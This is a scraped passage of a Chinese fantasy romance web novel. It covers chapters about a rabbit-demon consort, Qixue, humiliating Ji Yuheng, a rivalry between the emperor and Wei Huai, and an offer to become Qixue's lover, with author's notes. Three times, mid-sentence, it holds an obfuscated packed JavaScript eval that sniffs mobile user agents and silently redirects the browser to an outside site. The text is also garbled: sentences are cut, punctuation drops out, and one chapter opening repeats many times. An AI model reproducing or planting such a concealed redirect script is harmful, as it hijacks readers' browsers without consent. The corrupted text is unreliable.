气媚惑而讥讽:“没想到世子大人原来是驴子成精,你瞧瞧,那还有人样吗?你可真是头粗野的驴子。” 姬玉衡被他嘲弄得无地自容,在心上人面前露出这么不堪的模样,还被这样嘲笑,对他打击相当大,可他只能说:“我真的没有带兵器。” “那你解释一下这是什么?” “这是我的……”姬玉衡语塞。 “说啊。”绮雪赤着足,往他肩上蹬了一下。 “……”姬玉衡低声地说了两个字。 “听不见,大声点。”绮雪又踢踢他。 “是——” “再大声点。” 短短几句话,就把姬玉衡逼得全身大汗淋漓,表情羞愧到仿佛恨不得要自杀了,绮雪终于神清气爽了,恩赐般地说:“好了,替我捏脚吧。” 姬玉衡怔住:“就让我这样吗?” “不然呢?” 绮雪斜睨他一眼,其实他也不愿意看姬玉衡有多么驴子,可是为了羞辱姬玉衡,这是他必须要做的,看看姬玉衡那天塌了似的表情,就已经能说明多么奏效了。 这样下去,也许要不了多久,姬玉衡就会被他羞辱得对他恨之入骨了,只要使姬玉衡恶念丛生,还怕破不掉他的气运吗? “……是。” 姬玉衡低声回应,捧起绮雪的脚,放到自己的大腿上,为他进行按揉。 他的情绪受到过多的刺激,如今早已逐渐趋近麻木,害羞到无羞可害了。 他在雪公子面前丟尽了人,像个玩宠佞幸一般,奴颜媚骨地跪在地上侍奉主子,雪公子怎么可能喜欢这样的他?何况雪公子甚至没有将他当成男宠,他对他的身体没有任何兴趣。 他伤透了自尊,绮雪却刚好和他相反,别提有多快活了。 姬玉衡就算再怎么伤心,伺候起绮雪也是温柔而周到,一方面是因为他本就细心,另一方面是他爱慕绮雪,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592125|136045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自觉地就想照顾呵护他,哪怕绮雪只是将他玩物,对他没有任何情意可言。 再加上姬玉衡本就很容易招小动物喜爱,上一回绮雪就被他顺毛顺成了软兔饼,这回更是如此,轻易地沦陷在了姬玉衡的按捏中,舒服得昏昏欲睡。 他越来越困,身体不自觉地滑落下去,直接从椅子上摔了下来,姬玉衡一惊,立刻伸手接住他:“小心!” 绮雪落入了姬玉衡的怀抱里,瞬间惊醒过来,他慌乱地勾住姬玉衡的后颈,腰腿往下一坠,不偏不倚地坐到了…… “啊!” 绮雪像是被烫到似的 窜了起来,羞愤交加地扇了姬玉衡一耳光:“滚开!” 他顾不上什么反噬不反噬的,这一巴掌完全没有收力,将姬玉衡的脸扇红了。 姬玉衡感到疼痛,面颊浮现出掌印,却不是很明显,因为他的脸也红透了,哪怕再麻木,这时也难堪窘迫到了极点:“对不起,娘娘,我——” “滚滚滚,滚出去!” 绮雪抱起姬玉衡的衣服,恼羞成怒地尽数扔到姬玉衡身上。 姬玉衡穿上衣服,迟疑了片刻,却没有立即离开,而是再次跪到绮雪面前请罪:“臣罪该万死,请娘娘赐臣死罪。” “死什么死,我看你是要我死!” 绮雪“啪啪”地打了他几下,眼尾染上羞愤的泪光。 正常情况下,他也不是很在乎这种事,可姬玉衡不一样,他太讨厌姬玉衡了,以至于他现在特别不能接受:“我都被你弄脏了,臭驴精,滚回去!” “……臣告退。” 姬玉衡失落而担忧地离开了,绮雪伤心地去浴池沐浴,一直给自己洗洗涮涮,其实他没有直接碰到,还隔着他的衣服,但他从心理上觉得自己脏了,仿佛染了一身姬玉衡的味,怎么洗也洗不掉。 董原掀开纱帘走了进来,跪在池边,轻柔地撩起绮雪的长发,抹上清淡的香露:“娘娘不要伤心,只要您想,我这就为您杀了他,将他的尸首剁碎了,扔到乱葬岗喂狗。” “算了吧,你杀不了他的。” 绮雪闷闷不乐地说着:“要是能杀我早就杀了,可惜没人动得了他,别白费力气了。” “那我该怎么做才能为娘娘分忧呢?”董原伏低身体,在绮雪耳边轻声问。 绮雪咬了咬唇:“你去给我准备些刑具……不要疼的,不要伤人,我要用到姬玉衡身上。” “不要疼,也不要伤人?”饶是圆滑如董原,也不免愣了愣,“哪有这样的刑具?” 绮雪失望:“没有吗?” 董原思忖片刻:“这样的刑具没有,不过房.事里的一些小玩意倒是能替代……配合着药物,也能教人生不如死。” 绮雪露出高兴的表情:“你去给我弄来。” “只是娘娘,”董原说,“您还要把姬玉衡弄到宫中吗?” “当然要。” 绮雪怎么可能因为今天这点小小的挫败就放弃:“我一定要他被我折磨得生不如死……明晚还是差不多的时辰,你去把他弄来。” 作者有话要说 兔团:臭驴精!臭驴精!看我怎么把你从驴子折磨成骡子!(气得蹦跳)(朝姬玉衡乱打兔兔拳) 今天有加更,还没有看上一章导致对不上剧情的宝贝别忘了看哟=v= 感谢纯良比格、赵雪健快更新、炸鱼薯条、xxdxx的地雷! 第 40 章 谁说妖魔需要一心... 第40章谁说妖魔需要一心. 绮雪在浴池里泡了许久,将自己仔仔细细地洗了几遍,觉得自己总算变干净了,情绪平复下来,披上衫子走出浴池,叫来魇魔给他擦头发和身子。 魇魔的动作很是温柔体贴,绮雪享受着它们周到的伺候,同时在心中反思起自己。 他今晚的表现实在不怎么样,说是折辱姬玉衡,可姬玉衡的情绪还没有崩溃,他就先急了,连骂带打地将人赶了出去,太丢脸了。 这也就算了,要是姬玉衡看出他就是色厉内荏,其实根本不会折磨人,以后再也不怕他了该怎么办?那他还怎么整治姬玉衡? 绮雪摸了摸被魇魔擦干的长发,小声地安慰自己:“没事的,不就是姬玉衡吗,他也没什么了不起的。” “就算他再大,说到底也还是那东西,我又不是没见过,陛下和卫淮当初也吓到我了,现在不也是看习惯了?真的没关系……” “大不了……大不了就想办法把他弄废嘛,陛下应该不会立个太监当储君吧?” 他嘀嘀咕咕地离开浴池,走到外面换了身淡胭脂色的云纱衣,纱衣轻透,朦胧地透出肌肤,一会他就要去长乐宫找陛下了,这是他专门换给陛下看的。 出门前,董原为绮雪披上了厚厚的斗篷,尽管已经是春天,但夜晚仍然寒凉,绮雪只穿着纱衣会冷,这一身斗篷既保暖遮风,也方便绮雪穿脱,是绮雪最爱穿的一件衣服。 他乘着辇车来到长乐宫,进宫后却得知贺兰寂仍在与臣子议事,还没有就寝。 时辰已经过了子时,绮雪一听贺兰寂居然还在处理政务,不禁露出心疼的表情,善解人意地说:“是不是很重要的事情?若是不便打扰,那我就去寝殿等着吧。” 薛总管进去问过贺兰寂的意思,回来笑着禀告绮雪:“陛下请娘娘进去,还说无论娘娘什么时候过来都不算打搅,以后进去就是,不必等候通传。” 绮雪心里一甜,他当然不会随便进去打搅议事,但他喜欢贺兰寂对他明晃晃的偏爱。 薛总管引着绮雪进屋,绮雪跟在他身后,顺手裹紧自己的斗篷,免得春光.乍泄,叫里面的大臣看了去。 然而走进书房,绮雪怔住了。 书房中除了贺兰寂,就只有一个人在,原来前来议事的臣子就是卫淮。 多日不见,卫淮清减了许多,原本的锦衣玉带穿戴在他身上,竟显得有些宽大,他的面孔缺乏血色,眉间多了几分低落的沉郁,却依旧无 损他的风流英俊。 见到绮雪卫淮也愣了愣接着他的目光就定住了像是胶水般黏着于绮雪的身体一寸一寸地扫视过去连头发丝都要仔细看清楚贪婪而渴求地将绮雪的身影印刻在脑海之中。 绮雪垂下睫毛避开卫淮的视线来到贺兰寂身边:“陛下。” 他将手搭在贺兰寂肩头俯身在他脸上亲了亲贺兰寂握住他的手直接将他拉到自己的大腿上:“坐。” 见到他们恩爱的模样卫淮的神色黯淡下去苦笑着单膝下跪向绮雪行礼:“微臣见过贵妃娘娘。” 绮雪环住贺兰寂的后颈小心地观察他的神色见他没有露出不悦之色这才和卫淮说:“大将军请起。” “谢娘娘。” 卫淮起身 绮雪轻咬唇肉点了点头:“有劳大将军费心我一切都好陛下这么爱我自然不会让我受半点委屈我过得很开心。” 他的言辞间尽是对贺兰寂的维护卫淮的反应却出奇地平静:“那就好。倘若日后娘娘有任何烦忧尽管向臣倾诉臣愿为娘娘效犬马之劳赴汤蹈火在所不辞。” “圆圆不会有烦忧。” 贺兰寂忽然开口:“只要有朕在无论有什么事朕都可以为圆圆解决无需大将军操心。” 卫淮笑了笑:“这可不一定要是贵妃娘娘的烦恼就和陛下有关呢?陛下夙兴夜寐日理万机很难时刻陪伴娘娘但臣就不一样了只要娘娘一声令下臣随时都能赶到宫中陪伴在娘娘左右。” “圆圆只需要朕的陪伴。”贺兰寂环抱绮雪的腰吻了吻他的发顶。 绮雪有点茫然还没反应过来。 今晚卫淮出现在长乐宫出乎他的意料之外他本来觉得既然贺兰寂与卫淮能平静地商议政事就说明卫淮已经放下了往事和陛下重新修复了友谊可现在看来好像不是这么一回事他们两个怎么还当着他的面争风吃醋呢? 绮雪不太想夹在中间这就打算起身离开:“既然陛下和大将军还有要事相商我就先……” “圆圆不必离开。” 贺兰寂没放手将他按在自己的腿上:“你既然已经与我成婚就是我的妻子从此与卫淮再无牵连是陌路之人无须刻意避讳。” 卫淮目光一颤显然被贺兰寂的话刺痛了可他很快就笑了起来:“陛下难道没听过一句话 叫‘旧情难忘’娘娘对臣并非毫无情意到现在也是既是有情又怎能算是陌路之人?” 新欢旧爱针锋相对绮雪方才知道什么叫如坐针毡偏偏寝殿的炭火烧得又格外旺他穿着厚重的斗篷没一会就热得满面潮红额头渗出薄汗。 他热得实在受不了了软声请求贺兰寂:“陛下放我走吧我好热呀。” 贺兰寂垂眸望着他的脸感受到他心中的尴尬和羞惭到底还是不愿让他为难:“好你到寝殿等着我。” “多谢陛下。” 绮雪如蒙大赦从贺兰寂腿上起身热得不停地朝脸上扇风一边解开斗篷的衣带一边向外走。 卫淮好不容易见到绮雪当然不愿意让他轻易离去下意识地抓住绮雪的手腕:“娘娘请留步——” 斗篷自绮雪身上滑落露出单薄的纱衣。 他出了一身汗纱衣皱皱地紧贴他的肌肤勾勒出纤细的腰身胸前的软尖和后腰下的饱满也一览无余。 浑身馥郁的香气拂面而来看到熟悉的红宝石乳.钉卫淮的瞳孔猛地一缩铺天盖地的酸楚和疼痛随之而来几乎瞬间撑破了他的皮囊。 他的情绪彻底失控了再也无法压抑心底的渴望将绮雪紧紧抱入怀里失神唤道:“……阿雪。” “嘭”的一声茶杯重重地摔碎在地上滚烫的茶水泼了卫淮一腿。 魇魔呼啸而出将卫淮按到一旁贺兰寂神色漠然:“卫淮朕已经与你说得很明白朕可以不阻拦你与圆圆相见但你必须适可而止你应该清楚他不是你能肖想的。” “……臣明白。” 卫淮骤然清醒过来黯然地低下头没有反抗魇魔:“是臣失态了还请陛下和娘娘责罚。” 贺兰寂微微蹙眉看向绮雪:“圆圆你想怎么罚他?” 绮雪看到卫淮脸上的失落心里也有点不好受轻轻地叹了口气:“就罚卫将军一个月的俸禄吧下次不要再这么失态了。” 他接过魇魔递来的斗篷抱着斗篷离去了卫淮怔忪地望着他离去的背影直到听到贺兰寂冰冷的警告:“你还想再卧床养病半个月?” 卫淮失魂落魄地呢喃:“阿雪曾经是我的妻子我们夜夜同眠他和我在一起的时日比你长很多凭什么我不能碰他?” “凭他爱的人是我而不是你。” 贺兰寂说:“如果圆圆爱你胜过爱我我不会强行将他留在宫中 卫淮你太自私不配圆圆爱你。” “我太自私……” 卫淮重复着他的话:“我很自私?” 贺兰寂:“你自己想想你为圆圆做的所有事到底是为了满足他还是为了满足你自己?” 卫淮沉默不语。 …… 当夜绮雪等待贺兰寂实在等得太久了终于熬不住地睡了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592126|136045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去等到他睡醒过来贺兰寂已经去上早朝了期间并没有打扰到绮雪睡觉。 绮雪懒洋洋地抱着被子滚了两圈心里却有点烦闷既是为了姬玉衡也是为了卫淮如果可以他还是希望卫淮能开心点也希望他不要再和陛下争执了不然陛下也会不开心。 他叹了口气起床更衣净面虽然有点心烦但他的食欲一点也不受影响甚至还多吃了两个菜心包子。 吃过早膳绮雪去兔园看望灰兔们小兔子们一见到绮雪过来立刻亲昵地凑上来将绮雪团团围住蹭他的脚和小腿。 看到可爱的灰兔们绮雪的心情一下子就好了不少趁左右无人他也变成了兔团的模样挤进了灰兔之间和它们蹭蹭闻闻如同一群灰黑的芝麻丸里挤进了一只雪白的汤圆。 兔团挤着挤着忽然被一双手抱起起来一时间他还没反应过来四只兔爪如泅水般在空中挥动着。 灰兔们见到兔团被抱走以为他是被坏蛋掳走了焦急地拍打着来人的腿直到兔团反应过来黑珍珠似的眼睛瞥向来人:“卫淮?” 卫淮亲了亲兔团的粉鼻尖又低头亲他的兔肚皮将脸埋进软软的兔毛里兔团被他亲得肚皮很痒伸爪打他的额头:“别占我便宜!” 他以为自己要经过一番抵抗才能让卫淮放开他 “?” 兔团没想到他会这么郑重地道歉过了一会才说:“没关系。” 他倒也不烦卫淮吸他的兔肚皮就是太痒了轻点吸就行了。 兔团示意卫淮将他放下来他先是安抚好了灰兔们哄他们出去吃草这才变回人形和卫淮说话:“你怎么来了?” 卫淮:“我来向你赔罪。” 他跪在地上深深地向绮雪行拜礼绮雪吓了一跳伸手扶他:“你起来别这样不是已经罚了你一个月的俸禄吗你不需要再向我赔罪了。” “我不是为昨晚的事”卫淮没有抬头“是为了以前的事。” “什么事?” “全部,无论是囚禁你,还是为你打乳.钉,又或是逼迫你和我成婚。” “可是你不用道歉呀。”绮雪困惑地说,“我又不怪你。” 卫淮垂下眼睛:“你不怪我,不代表我没错,既然我有错,我就应该向你道歉。” 他语气低落,充满愧疚之意,绮雪心里一软,伸手摸他的头:“算啦,都过去了,我从来没怪过你,你不要放在心上,其实我也有错,就算我们扯平了,你说好不好?” “好……”卫淮轻轻回应,又很快问道,“阿雪,你现在还喜欢我吗?” “喜欢还是喜欢的,你毕竟是我的第一个情郎。” 绮雪说:“只是你也知道,你在我心里不可能和陛下相提并论,我们已经断了,就算我还喜欢,我也不会跟你离开的,我不可能为了你抛弃陛下。” “我知道我比不过陛下,我已经不敢奢求了。”卫淮的声音很低,“可是阿雪,你有没有想过,即使你成了陛下的妃子,也没有必要跟我彻底断了关系?” “什么?”绮雪呆了呆。 “你是妖魔,我也是,我们根本没有必要遵守人族的规矩。” 卫淮抬起眼眸,眼中闪过幽幽的绿芒:“谁说妖魔需要一心一意?阿雪,既然你喜欢我,也喜欢陛下,如果你能同时拥有我和陛下,你会不会更快乐?” “陛下是你的夫君,而我可以做你的情夫。” “我希望阿雪能过得更快乐,所以当陛下不在你身边的时候,就由我来陪伴你,填补你的寂寞和空虚……” “阿雪,你不心动吗?” 作者有话要说 兔团:双倍的快乐啊……(转圈圈)(挠兔毛)(思考中) 感谢绮桾的地雷×3,以及汤圆小猫、纯良比格、顾曲留香、究极主角控、xxdxx、绡蕴、崽种的地雷! 第 45 章 臣独守府邸,寂寞... 第45章臣独守府邸,寂寞 这天晚上,贺兰寂和绮雪难得什么都没做,只是单纯地相拥而眠,陪伴着彼此。 绮雪变回兔团,乖巧地趴在贺兰寂的胸膛上,软乎乎的兔耳朵搭着心口,聆听着贺兰寂沉稳有力的心跳,他渐渐平复了悲伤的情绪,陷入了香甜的沉眠。 第45章臣独守府邸,寂寞 这天晚上,贺兰寂和绮雪难得什么都没做,只是单纯地相拥而眠,陪伴着彼此。 绮雪变回兔团,乖巧地趴在贺兰寂的胸膛上,软乎乎的兔耳朵搭着心口,聆听着贺兰寂沉稳有力的心跳,他渐渐平复了悲伤的情绪,陷入了香甜的沉眠。 第45章臣独守府邸,寂寞 这天晚上,贺兰寂和绮雪难得什么都没做,只是单纯地相拥而眠,陪伴着彼此。 绮雪变回兔团,乖巧地趴在贺兰寂的胸膛上,软乎乎的兔耳朵搭着心口,聆听着贺兰寂沉稳有力的心跳,他渐渐平复了悲伤的情绪,陷入了香甜的沉眠。 第45章臣独守府邸,寂寞 这天晚上,贺兰寂和绮雪难得什么都没做,只是单纯地相拥而眠,陪伴着彼此。 绮雪变回兔团,乖巧地趴在贺兰寂的胸膛上,软乎乎的兔耳朵搭着心口,聆听着贺兰寂沉稳有力的心跳,他渐渐平复了悲伤的情绪,陷入了香甜的沉眠。 第45章臣独守府邸,寂寞 这天晚上,贺兰寂和绮雪难得什么都没做,只是单纯地相拥而眠,陪伴着彼此。 绮雪变回兔团,乖巧地趴在贺兰寂的胸膛上,软乎乎的兔耳朵搭着心口,聆听着贺兰寂沉稳有力的心跳,他渐渐平复了悲伤的情绪,陷入了香甜的沉眠。 第45章臣独守府邸,寂寞 这天晚上,贺兰寂和绮雪难得什么都没做,只是单纯地相拥而眠,陪伴着彼此。 绮雪变回兔团,乖巧地趴在贺兰寂的胸膛上,软乎乎的兔耳朵搭着心口,聆听着贺兰寂沉稳有力的心跳,他渐渐平复了悲伤的情绪,陷入了香甜的沉眠。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592131|136045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第45章臣独守府邸,寂寞 这天晚上,贺兰寂和绮雪难得什么都没做,只是单纯地相拥而眠,陪伴着彼此。 绮雪变回兔团,乖巧地趴在贺兰寂的胸膛上,软乎乎的兔耳朵搭着心口,聆听着贺兰寂沉稳有力的心跳,他渐渐平复了悲伤的情绪,陷入了香甜的沉眠。 第45章臣独守府邸,寂寞 这天晚上,贺兰寂和绮雪难得什么都没做,只是单纯地相拥而眠,陪伴着彼此。 绮雪变回兔团,乖巧地趴在贺兰寂的胸膛上,软乎乎的兔耳朵搭着心口,聆听着贺兰寂沉稳有力的心跳,他渐渐平复了悲伤的情绪,陷入了香甜的沉眠。 第45章臣独守府邸,寂寞 这天晚上,贺兰寂和绮雪难得什么都没做,只是单纯地相拥而眠,陪伴着彼此。 绮雪变回兔团,乖巧地趴在贺兰寂的胸膛上,软乎乎的兔耳朵搭着心口,聆听着贺兰寂沉稳有力的心跳,他渐渐平复了悲伤的情绪,陷入了香甜的沉眠。